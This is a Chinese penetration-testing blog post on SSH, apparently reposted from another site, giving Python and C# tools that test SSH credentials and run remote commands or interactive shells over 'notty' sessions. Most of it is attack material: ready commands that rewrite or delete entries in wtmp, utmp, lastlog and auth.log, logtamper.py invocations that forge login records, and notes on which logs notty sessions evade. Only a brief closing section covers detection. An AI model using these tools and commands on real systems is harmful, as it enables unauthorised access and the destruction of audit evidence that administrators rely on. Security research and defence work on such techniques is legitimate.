ssh key生成_渗透基础——SSH日志的绕过

800b793e373cc71d72148aa41189e607.gif

861319e216c54a000631d18fb5c91db8.png

0x00 前言

SSH是一种网络协议,用于计算机之间的加密登录,通常用于远程登录Linux系统。

在渗透测试中,通常需要考虑SSH的口令爆破和日志删除。

本文将要介绍一些渗透测试相关的基础内容,结合利用方法给出检测建议。

861319e216c54a000631d18fb5c91db8.png

0x01 简介

本文将要介绍以下内容:

· 程序实现SSH口令验证

· SSH日志的删除

· SSH日志的绕过

· 防御检测

861319e216c54a000631d18fb5c91db8.png

0x02 程序实现SSH口令验证

1.Python实现

使用第三方库paramiko库,用法很简单。

代码如下:

import paramiko

import sys

def sshcheck(hostname, port, username, password):

    ssh = paramiko.SSHClient()

    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:

        ssh.connect(hostname, port, username, password, timeout=10)

        print("[+] Valid: %s  %s"%(username,password))

        ssh.close();

    except paramiko.AuthenticationException:

        print("[!] Authentication failed")

    except Exception:

        print("[!] Connection Failed")

    except paramiko.SSHException:

        print("[!] Unable to establish SSH connection: %s"%(sshException))

def sshcheckfile(hostname, port, username, keyfile):

    ssh = paramiko.SSHClient()

    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    key=paramiko.RSAKey.from_private_key_file(keyfile)

    try:

        ssh.connect(hostname, port, username, pkey=key, timeout=2)

        print("[+] Valid: %s  %s"%(username,keyfile))

        ssh.close();

    except paramiko.AuthenticationException:

        print("[!] Authentication failed")

    except Exception:

        print("[!] Connection Failed")

    except paramiko.SSHException:

        print("[!] Unable to establish SSH connection: %s"%(sshException))

if __name__ == "__main__":

    if len(sys.argv)!=6:

        print('[!]Wrong parameter')

        print('sshCheck')       

        print('Use to check the valid credential of SSH(Support password and privatekeyfile)')

        print('Author:3gstudent')      

        print('Usage:')

        print('%s    '%(sys.argv[0]))

        print(':')

        print('- plaintext')   

        print('- keyfile')

        print('Eg.')

        print('%s 192.168.1.1 22 plaintext root toor'%(sys.argv[0]))

        print('%s 192.168.1.1 22 keyfile root id_rsa'%(sys.argv[0]))

        sys.exit(0)

    else:

        if sys.argv[3] == 'plaintext': 

            sshcheck(sys.argv[1], int(sys.argv[2]), sys.argv[4], sys.argv[5])

        elif sys.argv[3] == 'keyfile': 

            sshcheckfile(sys.argv[1], int(sys.argv[2]), sys.argv[4], sys.argv[5])

        else:

            print('[!]Wrong parameter')

代码支持口令登录和证书文件登录。

2.C#实现

使用第三方库SSH.NET,地址如下:

https://github.com/sshnet/SSH.NET

编译好的dll下载地址:

https://github.com/sshnet/SSH.NET/releases/download/2016.1.0/SSH.NET-2016.1.0-bin.zip

参考文档:

https://github.com/sshnet/SSH.NET/releases/download/2016.1.0/SSH.NET-2016.1.0-help.chm

在程序中引入Renci.SshNet.dll后,用法也十分简单。

在编写程序上需要注意以下问题:

(1)使用证书登录

SSH.NET对证书的格式有要求,SSH.NET-2016.1.0-help.chm上提示必须为BEGIN RSA PRIVATE KEY,如下图:

097308e15f44056b55e86eef276eb0b4.png

而使用命令ssh-keygen -t rsa时,默认是以新的格式生成密钥文件,格式为BEGIN OPENSSH PRIVATE KEY,这里需要做一个转换。

解决方法:

使用puttygen转换,下载地址:

https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html

选择Load导入密钥。

导出方法:

Conversions->Export OpenSSH key

所以在编写程序上需要先读取证书的文件内容,判断格式是否正确。

代码如下:

using System;

using System.IO;

using Renci.SshNet;

namespace SharpSSHCheck_SSH.NET

{

    class Program

    {

        static void ShowUsage()

        {

            string Usage = @"

SharpSSHCheck_SSH.NET

Use to check the valid credential of SSH(Based on SSH.NET).

Support password and privatekeyfile.

Author:3gstudent

Reference:https://github.com/sshnet/SSH.NET

Note:

You need to reference Renci.SshNet.dll.

You can download Renci.SshNet.dll from https://github.com/sshnet/SSH.NET/releases/download/2016.1.0/SSH.NET-2016.1.0-bin.zip

Complie:

      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe SharpSSHCheck_SSH.NET.cs /r:Renci.SshNet.dll

Usage:

      SharpSSHCheck_SSH.NET.exe           :

      - plaintext

      - keyfile

Eg:

      SharpSSHCheck_SSH.NET.exe 192.168.1.1 22 plaintext root toor

      SharpSSHCheck_SSH.NET.exe 192.168.1.1 22 keyfile root id_rsa

";

            Console.WriteLine(Usage);

        }

    static void Main(string[] args)

        {

            if (args.Length != 5)

                ShowUsage();

            else

            {

                try

                {

                    String Host = args[0];

                    String Port = args[1];

                    String Username = args[3];

                    String Password = null;

                    String Keypath = null;

                    if (args[2] == "plaintext")

                    {

                        Password = args[4];

                        var connectionInfo = new PasswordConnectionInfo(Host, Int32.Parse(Port), Username, Password);

                        connectionInfo.Timeout = TimeSpan.FromSeconds(10);

                        var ssh = new SshClient(connectionInfo);

                        ssh.Connect();

                        Console.WriteLine("[+] Valid: " + Username + "  " + Password);

                        ssh.Disconnect();

                        ssh.Dispose();

                    }

                    else if (args[2] == "keyfile")

                    {

                        Keypath = args[4];

                        FileStream keyFileStream = File.OpenRead(Keypath);

                        byte[] byData = new byte[40];

                        keyFileStream.Read(byData, 0, 40);

                        string keyData = System.Text.Encoding.Default.GetString(byData);

                        if (keyData.Contains("OPENSSH"))

                        {

                            Console.WriteLine("[!] Bad format of key file. You should use puttygen to convert the format.");

                            System.Environment.Exit(0);

                        }

                        keyFileStream.Seek(0, SeekOrigin.Begin);

                        var connectionInfo = new PrivateKeyConnectionInfo(Host, Int32.Parse(Port), Username, new PrivateKeyFile(keyFileStream));

                        connectionInfo.Timeout = TimeSpan.FromSeconds(10);

                        var ssh = new SshClient(connectionInfo);

                        ssh.Connect();

                        Console.WriteLine("[+] Valid: " + Username + "  " + Keypath);

                        ssh.Disconnect();

                        ssh.Dispose();

                    }

                    else

                    {

                        Console.WriteLine("[!] Wrong parameter");

                        System.Environment.Exit(0);

                    }

                }

                catch (Renci.SshNet.Common.SshException ex)

                {

                    Console.WriteLine("[!] " + ex.Message);

                }

                catch (Exception exception)

                {

                    Console.WriteLine("[!] " + exception.Message);

                }

            }

        }

    }

}

代码需要对应.NET版本的Renci.SshNet.dll,可使用csc.exe进行编译,命令示例:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe SharpSSHCheck_SSH.NET.cs /r:Renci.SshNet.dll

代码支持口令登录和证书文件登录。

861319e216c54a000631d18fb5c91db8.png

0x03 SSH日志的删除

同SSH登录操作相关的日志有以下几个位置:

· /var/log/btmp,记录错误的登录尝试,查询命令:lastb

· /var/log/auth.log,记录认证成功的用户

· /var/log/secure,记录与安全相关的日志信息

· /var/log/lastlog,记录用户上次登录信息

· /var/log/wtmp,记录当前和曾经登入系统的用户信息,查询命令:last

· /var/run/utmp,记录当前正在登录系统的用户信息,查询命令:w

· ~/.bash_history,记录从最开始至上一次登录所执行过的命令,查询命令:history

1.查看日志的内容

无法直接查看的需要使用strings命令。

命令示例:

strings /var/log/wtmp

2.替换日志中的IP

使用sed命令替换指定的IP。

命令示例:

utmpdump /var/log/wtmp |sed "s/192.168.112.151/1.1.1.1/g" |utmpdump -r >/tmp/wtmp11 &&\mv /tmp/wtmp11 /var/log/wtmp

将192.168.112.151修改为1.1.1.1

3.删除日志中的指定行

使用sed命令删除指定行。

sed -i '/May 1 23:17:39/d' /var/log/auth.log

删除/var/log/auth.log中以"May 1 23:17:39"开头的行。

4.躲避管理员w查看

需要使用logtamper

命令示例:

python logtamper.py -m 1 -u re4lity -i 192.168.0.188

通过修改文件/var/run/utmp实现。

5.清除指定ip的登录日志

需要使用logtamper

命令示例:

python logtamper.py -m 2 -u re4lity -i 192.168.0.188

通过修改文件/var/log/wtmp实现。

6.修改上次登录时间地点

需要使用logtamper

命令示例:

python logtamper.py -m 3 -u re4lity -i 192.168.0.188 -t tty1 -d 2014:05:28:10:11:12

通过修改文件/var/log/lastlog实现。

7.清除当前会话使用的命令记录

在退出会话前执行:

history -r

861319e216c54a000631d18fb5c91db8.png

0x04 SSH日志的绕过

如果我们使用SSH客户端(例如putty)进行登录,需要考虑日志清除,十分麻烦。

这里给出一种绕过各种日志记录的方法:使用sftp、rsyn、scp等协议进行登录(notty)。

这里给出两种实现方法:

在0x02中介绍的两个SSH口令验证程序(python和c#)正是使用了notty。

我将口令验证程序加入了执行命令的功能。

Python实现的代码如下:

import paramiko

import sys

def sshcheck(hostname, port, username, password, cmd):

    ssh = paramiko.SSHClient()

    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:

        ssh.connect(hostname, port, username, password, timeout=10)

        print("[+] Valid: %s  %s"%(username,password))

        if cmd == 'shell':

            while(1):

                cmd = input("#")

                if cmd == 'exit':

                    print("[*] Exit.")

                    ssh.close();

                    return

                stdin, stdout, stderr = ssh.exec_command(cmd)

                print(stdout.read().decode())

                result = stdout.read()

        else:

            stdin, stdout, stderr = ssh.exec_command(cmd)

            print(stdout.read().decode())

            result = stdout.read()

            ssh.close();

    except paramiko.AuthenticationException:

        print("[!] Authentication failed")

    except Exception:

        print("[!] Connection Failed")

    except paramiko.SSHException:

        print("[!] Unable to establish SSH connection: %s"%(sshException))

def sshcheckfile(hostname, port, username, keyfile, cmd):

    ssh = paramiko.SSHClient()

    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    key=paramiko.RSAKey.from_private_key_file(keyfile)

    try:

        ssh.connect(hostname, port, username, pkey=key, timeout=2)

        print("[+] Valid: %s  %s"%(username,keyfile))

        if cmd == 'shell':

            while(1):

                cmd = input("#")

                if cmd == 'exit':

                    print("[*] Exit.")

                    ssh.close();

                    return

                stdin, stdout, stderr = ssh.exec_command(cmd)

                print(stdout.read().decode())

                result = stdout.read()

        else:

            stdin, stdout, stderr = ssh.exec_command(cmd)

            print(stdout.read().decode())

            result = stdout.read()

            ssh.close();

    except paramiko.AuthenticationException:

        print("[!] Authentication failed")

    except Exception:

        print("[!] Connection Failed")

    except paramiko.SSHException:

        print("[!] Unable to establish SSH connection: %s"%(sshException))

if __name__ == "__main__":

    if len(sys.argv)!=7:

        print('[!]Wrong parameter')     

        print('sshRunCmd')       

        print('Remote command execution via SSH(Support password and privatekeyfile)')

        print('Author:3gstudent')      

        print('Usage:')

        print('%s     '%(sys.argv[0]))

        print(':')

        print('- plaintext')   

        print('- keyfile')

        print('If the  is shell,you will get an interactive shell')        

        print('Eg.')

        print('%s 192.168.1.1 22 plaintext root toor shell'%(sys.argv[0]))

        print('%s 192.168.1.1 22 keyfile root id_rsa ps'%(sys.argv[0]))

        sys.exit(0)

    else:

        if sys.argv[3] == 'plaintext': 

            sshcheck(sys.argv[1], int(sys.argv[2]), sys.argv[4], sys.argv[5], sys.argv[6])

        elif sys.argv[3] == 'keyfile': 

            sshcheckfile(sys.argv[1], int(sys.argv[2]), sys.argv[4], sys.argv[5], sys.argv[6])

C#实现的代码如下:

using System;

using System.IO;

using Renci.SshNet;

namespace SharpSSHRunCmd_SSH.NET

{

    class Program

    {

        static void ShowUsage()

        {

            string Usage = @"

SharpSSHRunCmd_SSH.NET

Remote command execution via SSH(Based on SSH.NET).

Support password and privatekeyfile.

Author:3gstudent

Reference:https://github.com/sshnet/SSH.NET

Note:

You need to reference Renci.SshNet.dll.

You can download Renci.SshNet.dll from https://github.com/sshnet/SSH.NET/releases/download/2016.1.0/SSH.NET-2016.1.0-bin.zip

Complie:

      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe SharpSSHRunCmd_SSH.NET.cs /r:Renci.SshNet.dll

Usage:

      SharpSSHRunCmd_SSH.NET.exe            :

      - plaintext

      - keyfile

If the  is shell,you will get an interactive shell.

Eg:

      SharpSSHRunCmd_SSH.NET.exe 192.168.1.1 22 plaintext root toor shell

      SharpSSHRunCmd_SSH.NET.exe 192.168.1.1 22 keyfile root id_rsa ps

";

            Console.WriteLine(Usage);

        }

    static void Main(string[] args)

        {

            if (args.Length != 6)

                ShowUsage();

            else

            {

                try

                {

                    String Host = args[0];

                    String Port = args[1];

                    String Username = args[3];

                    String Password = null;

                    String Keypath = null;

                    String cmd = args[5];

                    if (args[2] == "plaintext")

                    {

                        Password = args[4];

                        var connectionInfo = new PasswordConnectionInfo(Host, Int32.Parse(Port), Username, Password);

                        connectionInfo.Timeout = TimeSpan.FromSeconds(10);

                        var ssh = new SshClient(connectionInfo);

                        ssh.Connect();

                        Console.WriteLine("[+] Valid: " + Username + "  " + Password);

                        if (cmd == "shell")

                            while(true)

                            {

                                Console.Write("\n#");

                                cmd = Console.ReadLine();

                                if(cmd == "exit")

                                {

                                    Console.Write("[*] Exit.");

                                    ssh.Disconnect();

                                    ssh.Dispose();

                                    System.Environment.Exit(0);

                                }

                                var runcmd = ssh.CreateCommand(cmd);

                                var res = runcmd.Execute();

                                Console.Write(res);

                            }

                        else

                        {

                            var runcmd = ssh.CreateCommand(cmd);

                            var res = runcmd.Execute();

                            Console.Write(res);

                            ssh.Disconnect();

                            ssh.Dispose();                        

                        }

                    }

                    else if (args[2] == "keyfile")

                    {

                        Keypath = args[4];

                        FileStream keyFileStream = File.OpenRead(Keypath);

                        byte[] byData = new byte[40];

                        keyFileStream.Read(byData, 0, 40);

                        string keyData = System.Text.Encoding.Default.GetString(byData);

                        if (keyData.Contains("OPENSSH"))

                        {

                            Console.WriteLine("[!] Bad format of key file. You should use puttygen to convert the format.");

                            System.Environment.Exit(0);

                        }

                        keyFileStream.Seek(0, SeekOrigin.Begin);

                        var connectionInfo = new PrivateKeyConnectionInfo(Host, Int32.Parse(Port), Username, new PrivateKeyFile(keyFileStream));

                        connectionInfo.Timeout = TimeSpan.FromSeconds(10);

                        var ssh = new SshClient(connectionInfo);

                        ssh.Connect();

                        Console.WriteLine("[+] Valid: " + Username + "  " + Keypath);

                        if (cmd == "shell")

                            while(true)

                            {

                                Console.Write("\n#");

                                cmd = Console.ReadLine();

                                if(cmd == "exit")

                                {

                                    Console.Write("[*] Exit.");

                                    ssh.Disconnect();

                                    ssh.Dispose();

                                    System.Environment.Exit(0);

                                }

                                var runcmd = ssh.CreateCommand(cmd);

                                var res = runcmd.Execute();

                                Console.Write(res);

                            }

                        else

                        {

                            var runcmd = ssh.CreateCommand(cmd);

                            var res = runcmd.Execute();

                            Console.Write(res);

                            ssh.Disconnect();

                            ssh.Dispose();                        

                        }

                    }

                    else

                    {

                        Console.WriteLine("[!] Wrong parameter");

                        System.Environment.Exit(0);

                    }

                }

                catch (Renci.SshNet.Common.SshException ex)

                {

                    Console.WriteLine("[!] " + ex.Message);

                }

                catch (Exception exception)

                {

                    Console.WriteLine("[!] " + exception.Message);

                }

            }

        }

    }

}

代码均支持执行单个命令和交互式shell。

分别选择交互式shell,执行以下命令获得连接类型:

ps -aux|grep sshd

此时的连接类型为notty,如下图:

ae4462965108d7332a367ef8660da467.png

注:

如果使用putty远程连接,此时的类型为pts/2,如下图:

9bd66c807e7b0a17c82b9ce09db9e6d3.png

经测试,使用notty,能够绕过以下日志:

· /var/log/lastlog,记录用户上次登录信息

· /var/log/wtmp,记录当前和曾经登入系统的用户信息,查询命令:last

· /var/run/utmp,记录当前正在登录系统的用户信息,查询命令:w

· ~/.bash_history,记录从最开始至上一次登录所执行过的命令,查询命令:history

861319e216c54a000631d18fb5c91db8.png

0x05 防御检测

1.增强SSH守护程序

参考资料:

https://www.putorius.net/how-to-secure-ssh-daemon.html

2.notty连接的检测

· 查看错误的登录尝试,查询命令:lastb,文件位置/var/log/btmp

· 查看认证成功的用户,文件位置/var/log/auth.log

· 查看tcp连接,查看命令:netstat -vatn

861319e216c54a000631d18fb5c91db8.png

0x06 小结

本文介绍了SSH在渗透测试中的基础知识(日志删除和日志绕过),开源了4个实现代码(口令验证和命令执行),结合利用方法给出检测建议。

39115382e5c231c9cfddf0e282f961af.png

1a659c98e5f27754f8254c163e97c704.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值